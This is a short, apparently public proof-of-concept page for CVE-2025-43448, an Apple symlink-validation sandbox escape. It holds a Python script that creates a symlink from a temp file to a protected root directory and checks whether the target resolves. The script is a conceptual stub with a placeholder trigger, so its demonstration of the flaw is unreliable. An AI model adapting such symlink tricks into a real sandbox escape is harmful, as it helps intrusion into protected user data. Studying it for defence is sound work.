CVE-2025-43448 Apple符号链接验证不当导致沙箱逃逸漏洞

# CVE-2025-43448 PoC - Symlink Sandbox Escape (Conceptual) # This PoC demonstrates the symlink validation vulnerability concept # Note: Actual exploitation requires specific application and file system context import os import subprocess import tempfile def create_malicious_symlink(target_path, link_path): """Create a symlink that may bypass validation checks""" try: if os.path.exists(link_path): os.remove(link_path) os.symlink(target_path, link_path) print(f"[+] Created symlink: {link_path} -> {target_path}") return True except Exception as e: print(f"[-] Failed to create symlink: {e}") return False def trigger_app_access(link_path): """Trigger vulnerable application to follow symlink""" # This would be replaced with actual application-specific trigger # e.g., file picker access, document processing, etc. try: # Attempt to access via file operation if os.path.islink(link_path): resolved = os.readlink(link_path) print(f"[*] Symlink resolves to: {resolved}") # Check if we can access target through symlink if os.path.exists(resolved): print("[+] Target is accessible via symlink") return True return False except Exception as e: print(f"[-] Access attempt failed: {e}") return False def main(): # Example target - protected system file or directory # In real scenario, this would be a sandbox-protected resource protected_target = "/var/root/private_directory" # Create temporary symlink in writable sandbox area with tempfile.NamedTemporaryFile(delete=False) as tmp: link_path = tmp.name print("[*] CVE-2025-43448 Symlink Validation Bypass Test") print("[*] Target: Apple iOS/macOS symlink handling in sandboxed apps") # Step 1: Create symlink if create_malicious_symlink(protected_target, link_path): # Step 2: Trigger application access trigger_app_access(link_path) # Cleanup if os.path.exists(link_path): os.remove(link_path) if __name__ == "__main__": main()